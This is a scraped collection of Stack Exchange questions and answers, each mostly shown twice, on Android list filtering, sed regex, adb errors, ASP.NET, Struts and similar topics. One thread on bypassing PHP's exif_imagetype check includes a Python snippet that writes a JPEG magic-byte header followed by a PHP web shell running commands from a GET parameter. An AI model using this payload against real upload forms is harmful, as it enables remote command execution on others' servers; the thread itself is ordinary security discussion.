问:
Adding Search to Custom SimpleAdapter for Custom Listview
I have a ListView working absolutely fine . now i want to add search facility On some textview of the listItem row.

For Example i have a editText or Searchview in toolbar.
and my ListView has one of the item , that is status field . now i want search only for status from the listview .

I found many solutions on the internet , but i have my custom simple adapter class i have no idea how to add search in it .

Here is MY ExtendedSimpleAdapter code :

```<code>public class ExtendedSimpleAdapter extends SimpleAdapter implements Filterable {
List<? extends Map<String, ?>> map; // if fails to compile, replace with List<HashMap<String, Object>> map

String[] from;
int layout;
int[] to;
private ArrayList<Map<String, ?>> mUnfilteredData;
//private ArrayList<Product> mDisplayedValues;
Context context;
private Filter mFilter;
LayoutInflater mInflater;

public ExtendedSimpleAdapter(Context context, List<? extends Map<String, ?>> data, // if fails to compile, do the same replacement as above on this line
                             int resource, String[] from, int[] to) {
    super(context, data, resource, from, to);
    layout = resource;
    map = data;
    this.from = from;
    this.to = to;
    this.context = context;
}

@Override
public int getCount() {
    return map.size();
}

@Override
public Object getItem(int position) {
    return map.get(position);
}

@Override
public long getItemId(int position) {
    return position;
}

@Override
public View getView(int position, View convertView, ViewGroup parent) {
    mInflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
    return this.createViewFromResource(position, convertView, parent, layout);
}

private View createViewFromResource(int position, View convertView,
                                    ViewGroup parent, int resource) {
    View v;
    if (convertView == null) {
        v = mInflater.inflate(resource, parent, false);
    } else {
        v = convertView;
    }

    this.bindView(position, v);

    return v;
}

private void bindView(int position, View view) {
    final Map dataSet = map.get(position);
    if (dataSet == null) {
        return;
    }

    final ViewBinder binder = super.getViewBinder();
    final int count = to.length;

    for (int i = 0; i < count; i++) {
        final View v = view.findViewById(to[i]);
        if (v != null) {
            final Object data = dataSet.get(from[i]);
            String text = data == null ? "" : data.toString();
            if (text == null) {
                text = "";
            }

            boolean bound = false;
            if (binder != null) {
                bound = binder.setViewValue(v, data, text);
            }

            if (!bound) {
                if (v instanceof Checkable) {
                    if (data instanceof Boolean) {
                        ((Checkable) v).setChecked((Boolean) data);
                    } else if (v instanceof TextView) {
                        // Note: keep the instanceof TextView check at the bottom of these
                        // ifs since a lot of views are TextViews (e.g. CheckBoxes).
                        setViewText((TextView) v, text);
                    } else {
                        throw new IllegalStateException(v.getClass().getName() +
                                " should be bound to a Boolean, not a " +
                                (data == null ? "<unknown type>" : data.getClass()));
                    }
                } else if (v instanceof TextView) {
                    // Note: keep the instanceof TextView check at the bottom of these
                    // ifs since a lot of views are TextViews (e.g. CheckBoxes).
                    setViewText((TextView) v, text);
                } else if (v instanceof ImageView) {
                    if (data instanceof Integer) {
                        setViewImage((ImageView) v, (Integer) data);
                    } else if (data instanceof Bitmap) {
                        setViewImage((ImageView) v, (Bitmap) data);
                    } else {
                        setViewImage((ImageView) v, text);
                    }
                } else if (v instanceof RatingBar) {
                    float score = Float.parseFloat(data.toString());  //2
                    ((RatingBar) v).setRating(score);
                } else {
                    throw new IllegalStateException(v.getClass().getName() + " is not a " +
                            " view that can be bounds by this SimpleAdapter");
                }
            }
        }
    }
}

private void setViewImage(ImageView v, Bitmap bmp) {
    v.setImageBitmap(bmp);
}

public Filter getFilter() {
    if (mFilter == null) {
        mFilter = new SimpleFilter();
    }
    return mFilter;
}

private class SimpleFilter extends Filter {

    @Override
    protected FilterResults performFiltering(CharSequence prefix) {
        FilterResults results = new FilterResults();

        if (mUnfilteredData == null) {
            mUnfilteredData = new ArrayList<Map<String, ?>>(map);
        }

        if (prefix == null || prefix.length() == 0) {
            ArrayList<Map<String, ?>> list = mUnfilteredData;
            results.values = list;
            results.count = list.size();
        } else {
            String prefixString = prefix.toString().toLowerCase();

            ArrayList<Map<String, ?>> unfilteredValues = mUnfilteredData;
            int count = unfilteredValues.size();

            ArrayList<Map<String, ?>> newValues = new ArrayList<Map<String, ?>>(count);

            for (int i = 0; i < count; i++) {
                Map<String, ?> h = unfilteredValues.get(i);
                if (h != null) {

                    int len = to.length;

                    for (int j = 0; j < len; j++) {
                        String str = (String) h.get(from[j]);

                        String[] words = str.split(" ");
                        int wordCount = words.length;

                        for (int k = 0; k < wordCount; k++) {
                            String word = words[k];

                            if (word.toLowerCase().startsWith(prefixString)) {
                                newValues.add(h);
                                break;
                            }
                        }
                    }
                }
            }

            results.values = newValues;
            results.count = newValues.size();
        }

        return results;
    }

    @Override
    protected void publishResults(CharSequence constraint, FilterResults results) {
        //noinspection unchecked
        map = (List<Map<String, ?>>) results.values;
        if (results.count > 0) {
            notifyDataSetChanged();
        } else {
            notifyDataSetInvalidated();
        }
    }

}
</code>```

}

Here i am setting the adapter to listview :

```<code> evc = new ExtendedSimpleAdapter(Users.this, contactList,R.layout.new_dr_list,
                new String[]{"picture","name","speciality" ,"status","education","experience","rating"},
                new int[]{R.id.imug_p1,R.id.usr_dname,R.id.dspecs,R.id.statusp,R.id.educ,R.id.exper,R.id.ratingBar1});
        usersList.setAdapter(evc);
        ((BaseAdapter) evc).notifyDataSetChanged();
</code>```

As you can see i have one tag status in simpleadapter , HOW can i Perform search on it..??

Edit

Now I am geting this error when i search something from searview bar.

```<code>java.lang.NullPointerException: Attempt to invoke interface method 'int java.util.List.size()' on a null object reference
                                                                           at com.adnan.zwd.hidoctor.Chat.ExtendedSimpleAdapter.getCount(ExtendedSimpleAdapter.java:52)
                                                                           at android.widget.AdapterView.checkFocus(AdapterView.java:739)
                                                                           at android.widget.AdapterView$AdapterDataSetObserver.onInvalidated(AdapterView.java:862)
                                                                           at android.widget.AbsListView$AdapterDataSetObserver.onInvalidated(AbsListView.java:6211)
                                                                           at android.database.DataSetObservable.notifyInvalidated(DataSetObservable.java:50)
                                                                           at android.widget.BaseAdapter.notifyDataSetInvalidated(BaseAdapter.java:59)
                                                                           at com.adnan.zwd.hidoctor.Chat.ExtendedSimpleAdapter$SimpleFilter.publishResults(ExtendedSimpleAdapter.java:222)
                                                                           at android.widget.Filter$ResultsHandler.handleMessage(Filter.java:282)
                                                                           at android.os.Handler.dispatchMessage(Handler.java:102)
                                                                           at android.os.Looper.loop(Looper.java:148)
                                                                           at android.app.ActivityThread.main(ActivityThread.java:5417)
                                                                           at java.lang.reflect.Method.invoke(Native Method)
                                                                           at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
                                                                           at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
</code>```

答:
You can use if(from[i].contains(constraints)) within a cicle, save the results in an String[] and finally assign that array to the Adapter so it work with it. However I recomend you to change to ReciclerView instead of ListView.

the example ... didn't test it but should work or at least help you.. i hope. funny fact ... I learn couple things too from your code. so thanks for the oportunity.

```<code> @Override
    public Filter getFilter() {
        Filter filter = new Filter() {

            @SuppressWarnings("unchecked")
            @Override
            protected void publishResults(CharSequence constraint, FilterResults results) {
            from = (String[]) results.values; // change dateset
              notifyDataSetChanged();
                 // notifies the data with new filtered values
            }

            @Override
            protected FilterResults performFiltering(CharSequence constraint) {
                FilterResults results = new Filter.FilterResults();        // Holds the results of a filtering operation in values
               // ArrayList<Product> FilteredArrList = new ArrayList<Product>();

             String [] filtered = new String[from.length];
                int index=0;
              for(int i=0;i<from.length;i++)
                  if(from[i].contains(constraint))
                  {
                      filtered[index++]=from[i];
                  }
                results.values = filtered;
                results.count=index;

                return results;
            }
        };
        return filter;
    }
</code>```

Body:
I have a ListView working absolutely fine . now i want to add search facility On some textview of the listItem row.

For Example i have a editText or Searchview in toolbar.
and my ListView has one of the item , that is status field . now i want search only for status from the listview .

I found many solutions on the internet , but i have my custom simple adapter class i have no idea how to add search in it .

Here is MY ExtendedSimpleAdapter code :

public class ExtendedSimpleAdapter extends SimpleAdapter implements Filterable {
List<? extends Map<String, ?>> map; // if fails to compile, replace with List<HashMap<String, Object>> map

String[] from;
int layout;
int[] to;
private ArrayList<Map<String, ?>> mUnfilteredData;
//private ArrayList<Product> mDisplayedValues;
Context context;
private Filter mFilter;
LayoutInflater mInflater;

public ExtendedSimpleAdapter(Context context, List<? extends Map<String, ?>> data, // if fails to compile, do the same replacement as above on this line
                             int resource, String[] from, int[] to) {
    super(context, data, resource, from, to);
    layout = resource;
    map = data;
    this.from = from;
    this.to = to;
    this.context = context;
}

@Override
public int getCount() {
    return map.size();
}

@Override
public Object getItem(int position) {
    return map.get(position);
}

@Override
public long getItemId(int position) {
    return position;
}

@Override
public View getView(int position, View convertView, ViewGroup parent) {
    mInflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
    return this.createViewFromResource(position, convertView, parent, layout);
}

private View createViewFromResource(int position, View convertView,
                                    ViewGroup parent, int resource) {
    View v;
    if (convertView == null) {
        v = mInflater.inflate(resource, parent, false);
    } else {
        v = convertView;
    }

    this.bindView(position, v);

    return v;
}

private void bindView(int position, View view) {
    final Map dataSet = map.get(position);
    if (dataSet == null) {
        return;
    }

    final ViewBinder binder = super.getViewBinder();
    final int count = to.length;

    for (int i = 0; i < count; i++) {
        final View v = view.findViewById(to[i]);
        if (v != null) {
            final Object data = dataSet.get(from[i]);
            String text = data == null ? "" : data.toString();
            if (text == null) {
                text = "";
            }

            boolean bound = false;
            if (binder != null) {
                bound = binder.setViewValue(v, data, text);
            }

            if (!bound) {
                if (v instanceof Checkable) {
                    if (data instanceof Boolean) {
                        ((Checkable) v).setChecked((Boolean) data);
                    } else if (v instanceof TextView) {
                        // Note: keep the instanceof TextView check at the bottom of these
                        // ifs since a lot of views are TextViews (e.g. CheckBoxes).
                        setViewText((TextView) v, text);
                    } else {
                        throw new IllegalStateException(v.getClass().getName() +
                                " should be bound to a Boolean, not a " +
                                (data == null ? "<unknown type>" : data.getClass()));
                    }
                } else if (v instanceof TextView) {
                    // Note: keep the instanceof TextView check at the bottom of these
                    // ifs since a lot of views are TextViews (e.g. CheckBoxes).
                    setViewText((TextView) v, text);
                } else if (v instanceof ImageView) {
                    if (data instanceof Integer) {
                        setViewImage((ImageView) v, (Integer) data);
                    } else if (data instanceof Bitmap) {
                        setViewImage((ImageView) v, (Bitmap) data);
                    } else {
                        setViewImage((ImageView) v, text);
                    }
                } else if (v instanceof RatingBar) {
                    float score = Float.parseFloat(data.toString());  //2
                    ((RatingBar) v).setRating(score);
                } else {
                    throw new IllegalStateException(v.getClass().getName() + " is not a " +
                            " view that can be bounds by this SimpleAdapter");
                }
            }
        }
    }
}

private void setViewImage(ImageView v, Bitmap bmp) {
    v.setImageBitmap(bmp);
}

public Filter getFilter() {
    if (mFilter == null) {
        mFilter = new SimpleFilter();
    }
    return mFilter;
}

private class SimpleFilter extends Filter {

    @Override
    protected FilterResults performFiltering(CharSequence prefix) {
        FilterResults results = new FilterResults();

        if (mUnfilteredData == null) {
            mUnfilteredData = new ArrayList<Map<String, ?>>(map);
        }

        if (prefix == null || prefix.length() == 0) {
            ArrayList<Map<String, ?>> list = mUnfilteredData;
            results.values = list;
            results.count = list.size();
        } else {
            String prefixString = prefix.toString().toLowerCase();

            ArrayList<Map<String, ?>> unfilteredValues = mUnfilteredData;
            int count = unfilteredValues.size();

            ArrayList<Map<String, ?>> newValues = new ArrayList<Map<String, ?>>(count);

            for (int i = 0; i < count; i++) {
                Map<String, ?> h = unfilteredValues.get(i);
                if (h != null) {

                    int len = to.length;

                    for (int j = 0; j < len; j++) {
                        String str = (String) h.get(from[j]);

                        String[] words = str.split(" ");
                        int wordCount = words.length;

                        for (int k = 0; k < wordCount; k++) {
                            String word = words[k];

                            if (word.toLowerCase().startsWith(prefixString)) {
                                newValues.add(h);
                                break;
                            }
                        }
                    }
                }
            }

            results.values = newValues;
            results.count = newValues.size();
        }

        return results;
    }

    @Override
    protected void publishResults(CharSequence constraint, FilterResults results) {
        //noinspection unchecked
        map = (List<Map<String, ?>>) results.values;
        if (results.count > 0) {
            notifyDataSetChanged();
        } else {
            notifyDataSetInvalidated();
        }
    }

}

}

Here i am setting the adapter to listview :

 evc = new ExtendedSimpleAdapter(Users.this, contactList,R.layout.new_dr_list,
                new String[]{"picture","name","speciality" ,"status","education","experience","rating"},
                new int[]{R.id.imug_p1,R.id.usr_dname,R.id.dspecs,R.id.statusp,R.id.educ,R.id.exper,R.id.ratingBar1});
        usersList.setAdapter(evc);
        ((BaseAdapter) evc).notifyDataSetChanged();

As you can see i have one tag status in simpleadapter , HOW can i Perform search on it..??

Edit

Now I am geting this error when i search something from searview bar.

java.lang.NullPointerException: Attempt to invoke interface method 'int java.util.List.size()' on a null object reference
                                                                           at com.adnan.zwd.hidoctor.Chat.ExtendedSimpleAdapter.getCount(ExtendedSimpleAdapter.java:52)
                                                                           at android.widget.AdapterView.checkFocus(AdapterView.java:739)
                                                                           at android.widget.AdapterView$AdapterDataSetObserver.onInvalidated(AdapterView.java:862)
                                                                           at android.widget.AbsListView$AdapterDataSetObserver.onInvalidated(AbsListView.java:6211)
                                                                           at android.database.DataSetObservable.notifyInvalidated(DataSetObservable.java:50)
                                                                           at android.widget.BaseAdapter.notifyDataSetInvalidated(BaseAdapter.java:59)
                                                                           at com.adnan.zwd.hidoctor.Chat.ExtendedSimpleAdapter$SimpleFilter.publishResults(ExtendedSimpleAdapter.java:222)
                                                                           at android.widget.Filter$ResultsHandler.handleMessage(Filter.java:282)
                                                                           at android.os.Handler.dispatchMessage(Handler.java:102)
                                                                           at android.os.Looper.loop(Looper.java:148)
                                                                           at android.app.ActivityThread.main(ActivityThread.java:5417)
                                                                           at java.lang.reflect.Method.invoke(Native Method)
                                                                           at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
                                                                           at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)

Body:
You can use if(from[i].contains(constraints)) within a cicle, save the results in an String[] and finally assign that array to the Adapter so it work with it. However I recomend you to change to ReciclerView instead of ListView.

the example ... didn't test it but should work or at least help you.. i hope. funny fact ... I learn couple things too from your code. so thanks for the oportunity.

 @Override
    public Filter getFilter() {
        Filter filter = new Filter() {

            @SuppressWarnings("unchecked")
            @Override
            protected void publishResults(CharSequence constraint, FilterResults results) {
            from = (String[]) results.values; // change dateset
              notifyDataSetChanged();
                 // notifies the data with new filtered values
            }

            @Override
            protected FilterResults performFiltering(CharSequence constraint) {
                FilterResults results = new Filter.FilterResults();        // Holds the results of a filtering operation in values
               // ArrayList<Product> FilteredArrList = new ArrayList<Product>();

             String [] filtered = new String[from.length];
                int index=0;
              for(int i=0;i<from.length;i++)
                  if(from[i].contains(constraint))
                  {
                      filtered[index++]=from[i];
                  }
                results.values = filtered;
                results.count=index;

                return results;
            }
        };
        return filter;
    }


来源: stackexchange

问:
Using SED: Find Regex > Replace With Match Groups
So I'm trying to restructure an access log to a particular format, I've already managed it in grok but learning sed sounds very useful so please humour me:

So, using SED I'm trying to find:

```<code>(\d+\.\d+\.\d+\.\d+) - - \[(.*?)\] "(\w{3,4}) (\/.*?(\/|\.\w+)) (HTTP(S)?\/.*?)"(\d{3}) (\d+) "(.*?)" "(.*?)" "(.*?), (.*?)"(\[.*?\]) (\[.*?\])
</code>```

And Replace with:

```<code>$12 - - [\2] "\3 \4" \8 \9 "$10" "$11"
</code>```

Match in File(A) replaced lines sent to File(B)

I've tried:

```<code>sed -r -i 's/((\d+\.\d+\.\d+\.\d+) - - \[(.*?)\] "(\w{3,4}) (\/.*?(\/|\.\w+)) (HTTP(S)?\/.*?)"(\d{3}) (\d+) "(.*?)" "(.*?)" "(.*?), (.*?)"(\[.*?\]) (\[.*?\]))/$12 - - [\2] "\3 \4" \8 \9 "$10" "$11"/g;' fileA.txt > fileB.txt
</code>```

To which it (GNU) throws the following error:

```<code>sed: -e expression #1, char 1: unknown command: `''
</code>```

I'm afraid I'm totally new to sed so this is as far as my Googlefu has gotten me.

Input:

```<code>IPAddress1 - - [30/Mar/2017:11:33:55 +0100] "GET /image.jpg HTTP/1.1 "200 2607 "http://www.example.co.uk/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" "IPaddress2, IPAddress 3"[abc] [def]
</code>```

Expected Output:

```<code>IPAddress2 - - [30/Mar/2017:11:33:55 +0100] "GET /image.jpg" 200 2607 "http://www.example.co.uk" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
</code>```

Thank you kindly.

答:
You need to make same changes in our regex to run it with sed.

I recommend you to use the -r parameter to can use extended regex syntax, it is more easy for JavaScript|PHP|Java users.

Here is a little peace of your regex working:

```<code>echo \
'127.0.0.1 - - [30/Mar/2017:11:33:55 +0100] "GET /image.jpg HTTP/1.1 "200 2607 "http://www.example.co.uk/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" "IPaddress2, IPAddress 3"[abc] [def]' \
| sed -r 's/([0-9]+(\.[0-9]+)+) - - \[([0-9]+)\/([^\/]+)\/([0-9]+):/"\1", "\3", "\4", "\5"/g'
</code>```

This example is not completed, it only for show you the correct syntax.

ContentLicense: CC BY-SA 3.0

Body:
So I'm trying to restructure an access log to a particular format, I've already managed it in grok but learning sed sounds very useful so please humour me:

So, using SED I'm trying to find:

(\d+\.\d+\.\d+\.\d+) - - \[(.*?)\] "(\w{3,4}) (\/.*?(\/|\.\w+)) (HTTP(S)?\/.*?)"(\d{3}) (\d+) "(.*?)" "(.*?)" "(.*?), (.*?)"(\[.*?\]) (\[.*?\])

And Replace with:

$12 - - [\2] "\3 \4" \8 \9 "$10" "$11"

Match in File(A) replaced lines sent to File(B)

I've tried:

sed -r -i 's/((\d+\.\d+\.\d+\.\d+) - - \[(.*?)\] "(\w{3,4}) (\/.*?(\/|\.\w+)) (HTTP(S)?\/.*?)"(\d{3}) (\d+) "(.*?)" "(.*?)" "(.*?), (.*?)"(\[.*?\]) (\[.*?\]))/$12 - - [\2] "\3 \4" \8 \9 "$10" "$11"/g;' fileA.txt > fileB.txt

To which it (GNU) throws the following error:

sed: -e expression #1, char 1: unknown command: `''

I'm afraid I'm totally new to sed so this is as far as my Googlefu has gotten me.

Input:

IPAddress1 - - [30/Mar/2017:11:33:55 +0100] "GET /image.jpg HTTP/1.1 "200 2607 "http://www.example.co.uk/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" "IPaddress2, IPAddress 3"[abc] [def]

Expected Output:

IPAddress2 - - [30/Mar/2017:11:33:55 +0100] "GET /image.jpg" 200 2607 "http://www.example.co.uk" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

Thank you kindly.

Body:
You need to make same changes in our regex to run it with sed.

I recommend you to use the -r parameter to can use extended regex syntax, it is more easy for JavaScript|PHP|Java users.

Here is a little peace of your regex working:

echo \
'127.0.0.1 - - [30/Mar/2017:11:33:55 +0100] "GET /image.jpg HTTP/1.1 "200 2607 "http://www.example.co.uk/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" "IPaddress2, IPAddress 3"[abc] [def]' \
| sed -r 's/([0-9]+(\.[0-9]+)+) - - \[([0-9]+)\/([^\/]+)\/([0-9]+):/"\1", "\3", "\4", "\5"/g'

This example is not completed, it only for show you the correct syntax.


问:
How to bypass the exif_imagetype function to upload php code?
I read that exif_imagetype is secure function to avoid uploading php or other shell code instead of image file. Recently i read another article that we can bypass this secure function by some simple methods. So if someone knows the exact method to bypass can u share your answers.

I used following code in my php script so i wanted to know this is vulnerable or not and remedy for the same

```<code> if (! exif_imagetype($_FILES['upload']['tmp_name']))
   {
    echo "File is not an image";
   }
</code>```

答:
Based on Mr. @jake_the_snake's answer, I would also include a quick code sample in Python</p>

```<code>>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
</code>```

Body:
I read that exif_imagetype is secure function to avoid uploading php or other shell code instead of image file. Recently i read another article that we can bypass this secure function by some simple methods. So if someone knows the exact method to bypass can u share your answers.

I used following code in my php script so i wanted to know this is vulnerable or not and remedy for the same

 if (! exif_imagetype($_FILES['upload']['tmp_name']))
   {
    echo "File is not an image";
   }

Body:
Based on Mr. @jake_the_snake's answer, I would also include a quick code sample in Python

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()


问:
Single click breakpoint in Eclipse
I know I can set breakpoint in Eclipse via double click, but is there any way I can change it to single click instead?</p>

答: You can use keyboard short cut key Ctrl+Shift+B.

Title: Single click breakpoint in Eclipse


问:
Unable to create Debug Bridge: Unable to start adb server: Unable to obtain result of 'adb version'
I am running Android Studio on Windows 10 64 bit. I upgraded to the latest build and SDK the morning of 5/20, and since then I get the above error when opening Android Studio. I also get the 'Unable to obtain result of 'adb version' in the event log. If I launch the application (which worked fine before the update) the 'Select Deployment Target' window appears, showing 'Initializing ADB' with a loading graphic for a few seconds, which then results in a 'Nothing to show' message. Previously I had 4 different emulators set up, and an active device connect via USB. Now ... nothing.

Creating a new emulator has no effect - I go through the steps and still see the 'Nothing to show' message.

I have tried the following:

Reverting to older platform tools

Removing and re-installing the latest platform tools

Removing and re-installing Android Studio completely

Installed Genymotion to try emulate through that (I can create and start the emulator in Genymotion, it makes no different to the above issue in AS)

killed adb.exe through Task Manager, then ran adb tcpip 5555 through the terminal, the output was:

daemon not running. starting it now on port 5037 *

daemon started successfully *
restarting in TCP mode port: 5555

Which was encouraging, but the same issue described above persists (even after a restart of AS).

Switch to USB mode and back to TCPIP through adb in the terminal, no luck.

Migrated the entire project to Eclipse until I ran into support issues with Google Play Services (so I'm going to have to stick to AS, but I am getting desperate here)

Anyone that can assist - I would greatly appreciate it.

UPDATE - 5/23

I did a search for adb.log and found it in a temp folder on a completely different drive to the one that contains AS or my project files. Closed everything down, killed adb.exe through the task manager and deleted the file. Upon relaunching AS I received the following message:

screenshot of message

I could start/kill ADB through the terminal. adb devices resulted in an empty list. My idea.log file is filled with entries as from the date my trouble started. Restarting AS again resulted in the usual 'Unable to create Debug Bridge: Unable to start adb server: Unable to obtain result of 'adb version'' message.

Here is the last entry in my idea.log file:

2016-05-23 10:13:19,081 [ 824808]   INFO - tools.idea.ddms.adb.AdbService - Initializing adb using: E:\Users\JakeSabre\AppData\Local\Android\sdk\platform-tools\adb.exe, client support = false
  2016-05-23 10:13:24,082 [ 829809]   WARN -            #com.android.ddmlib - Unable to obtain result of 'adb version'
  2016-05-23 10:13:24,083 [ 829810]   INFO - ditor.DeployTargetPickerDialog - Unable to obtain debug bridge
  java.lang.RuntimeException: Unable to create Debug Bridge: Unable to start adb server: Unable to obtain result of 'adb version'

```<code>at com.android.tools.idea.ddms.adb.AdbService$1.run(AdbService.java:236)
at com.intellij.openapi.application.impl.ApplicationImpl$8.run(ApplicationImpl.java:366)
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
at org.jetbrains.ide.PooledThreadExecutor$1$1.run(PooledThreadExecutor.java:55)
</code>```

The really weird part is that I actually managed to get something working yesterday - but I don't know how. I started AS and received the same error, but then started Eclipse (Mars 2) and launched the Android Device Manager through Eclipse. As soon as I did I could launch my app through the AS emulator! I closed it all down and tried again, just to be sure and it worked again.

This morning I tried the same trick, but was told my SDK is missing. I checked and platform-tools was indeed missing (not sure why). So I installed it again, got the usual error, and now my trick with Eclipse is no longer working. I feel like I am in the Twilight Zone here.

答: The solution is very simple. Open 'Command Prompt' as 'Administrator', run adb kill-server, then adb start-server. It worked for me.

Body:
I am running Android Studio on Windows 10 64 bit. I upgraded to the latest build and SDK the morning of 5/20, and since then I get the above error when opening Android Studio. I also get the 'Unable to obtain result of 'adb version' in the event log. If I launch the application (which worked fine before the update) the 'Select Deployment Target' window appears, showing 'Initializing ADB' with a loading graphic for a few seconds, which then results in a 'Nothing to show' message. Previously I had 4 different emulators set up, and an active device connect via USB. Now ... nothing.

Creating a new emulator has no effect - I go through the steps and still see the 'Nothing to show' message.

I have tried the following:

Reverting to older platform tools

Removing and re-installing the latest platform tools

Removing and re-installing Android Studio completely

Installed Genymotion to try emulate through that (I can create and start the emulator in Genymotion, it makes no different to the above issue in AS)

killed adb.exe through Task Manager, then ran adb tcpip 5555 through the terminal, the output was:

daemon not running. starting it now on port 5037 *

daemon started successfully *
restarting in TCP mode port: 5555

Which was encouraging, but the same issue described above persists (even after a restart of AS).

Switch to USB mode and back to TCPIP through adb in the terminal, no luck.

Migrated the entire project to Eclipse until I ran into support issues with Google Play Services (so I'm going to have to stick to AS, but I am getting desperate here)

Anyone that can assist - I would greatly appreciate it.

UPDATE - 5/23

I did a search for adb.log and found it in a temp folder on a completely different drive to the one that contains AS or my project files. Closed everything down, killed adb.exe through the task manager and deleted the file. Upon relaunching AS I received the following message:

screenshot of message

I could start/kill ADB through the terminal. adb devices resulted in an empty list. My idea.log file is filled with entries as from the date my trouble started. Restarting AS again resulted in the usual 'Unable to create Debug Bridge: Unable to start adb server: Unable to obtain result of 'adb version'' message.

Here is the last entry in my idea.log file:

2016-05-23 10:13:19,081 [ 824808]   INFO - tools.idea.ddms.adb.AdbService - Initializing adb using: E:\Users\JakeSabre\AppData\Local\Android\sdk\platform-tools\adb.exe, client support = false
  2016-05-23 10:13:24,082 [ 829809]   WARN -            #com.android.ddmlib - Unable to obtain result of 'adb version'
  2016-05-23 10:13:24,083 [ 829810]   INFO - ditor.DeployTargetPickerDialog - Unable to obtain debug bridge
  java.lang.RuntimeException: Unable to create Debug Bridge: Unable to start adb server: Unable to obtain result of 'adb version'

at com.android.tools.idea.ddms.adb.AdbService$1.run(AdbService.java:236)
at com.intellij.openapi.application.impl.ApplicationImpl$8.run(ApplicationImpl.java:366)
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
at org.jetbrains.ide.PooledThreadExecutor$1$1.run(PooledThreadExecutor.java:55)

The really weird part is that I actually managed to get something working yesterday - but I don't know how. I started AS and received the same error, but then started Eclipse (Mars 2) and launched the Android Device Manager through Eclipse. As soon as I did I could launch my app through the AS emulator! I closed it all down and tried again, just to be sure and it worked again.

This morning I tried the same trick, but was told my SDK is missing. I checked and platform-tools was indeed missing (not sure why). So I installed it again, got the usual error, and now my trick with Eclipse is no longer working. I feel like I am in the Twilight Zone here.


问:
How to let my web-user-control determine automatically the url of the page where it's placed
```<code>        <asp:HyperLink
        ID="hyper1"
        runat="server"
        NavigateUrl='<%#string.Format("~/PLayer.aspx?ID={0}&Type={1}",Eval("arrange_by_id"),Eval("value"))%>'><%# Eval("value")%></asp:HyperLink>
</code>```

I've implemented this string format in my NavigateUrl to pass a dynamic querystring depending on the clicked item!

but you see the first part in the string format where it says "~/PLayer.aspx" i want the user control to automatically change this part according to where it's placed!

答: You could try Request.ServerVariables["SCRIPT_NAME"], it will return the name of the current page.</p>

ContentLicense: CC BY-SA 2.5

Body:
        <asp:HyperLink
        ID="hyper1"
        runat="server"
        NavigateUrl='<%#string.Format("~/PLayer.aspx?ID={0}&Type={1}",Eval("arrange_by_id"),Eval("value"))%>'><%# Eval("value")%></asp:HyperLink>

I've implemented this string format in my NavigateUrl to pass a dynamic querystring depending on the clicked item!

but you see the first part in the string format where it says "~/PLayer.aspx" i want the user control to automatically change this part according to where it's placed!


问:
Navigation Arrow Not updating: Navigation arrow not rotating at high speed navigation
enter image description here

In the image above as you can see my navigation arrow is not pointing in the correct direction in which i am driving. This issue always occurs when i am driving at high speed.What can be done to remove this issue.
Thanks.

答:
Solution for above is easy i missed it:

```<code>mapView.getMapSettings().setFollowPositions(true);
</code>```

And to apply logic of if else lader to and provide below

```<code> mapView.getMapSettings().setHeadingMode(SKMapSettings.SKHeadingMode.HISTORIC_POSITIONS);
 mapView.getMapSettings().setHeadingMode(SKMapSettings.SKHeadingMode.ROUTE);
</code>```

Thank you for your views.

Body:
Solution for above is easy i missed it:

mapView.getMapSettings().setFollowPositions(true);

And to apply logic of if else lader to and provide below

 mapView.getMapSettings().setHeadingMode(SKMapSettings.SKHeadingMode.HISTORIC_POSITIONS);
 mapView.getMapSettings().setHeadingMode(SKMapSettings.SKHeadingMode.ROUTE);

Thank you for your views.


问:
Error "The absolute uri: http://struts.apache.org/tags-html cannot be resolved in either web.xml or the jar files deployed with this application "
i am new to Struts.i have tried an sample struts1.x application.when i run it ,it gives an error

The absolute uri: http://struts.apache.org/tags-html cannot be resolved in either web.xml or the jar files deployed with this application" my jsp page has
  '<%@taglib uri="http://struts.apache.org/tags-html" prefix="html" %>
  <%@taglib uri="http://struts.apache.org/tags-bean" prefix="bean" %>'

web page:

```<code><html>
  <body>
    <center>
      <html:errors/>
      <html:form action="login">
        <bean:message key="label.uname"/>
        :
        <html:text property="uname"/>
        <br>
        <bean:message key="label.pwd"/>
        :
        <html:text property="pwd"/>
        <br>
        <html:submit value="LOGIN"/>
      </html:form>
    </center>
  </body>
</html>
</code>```

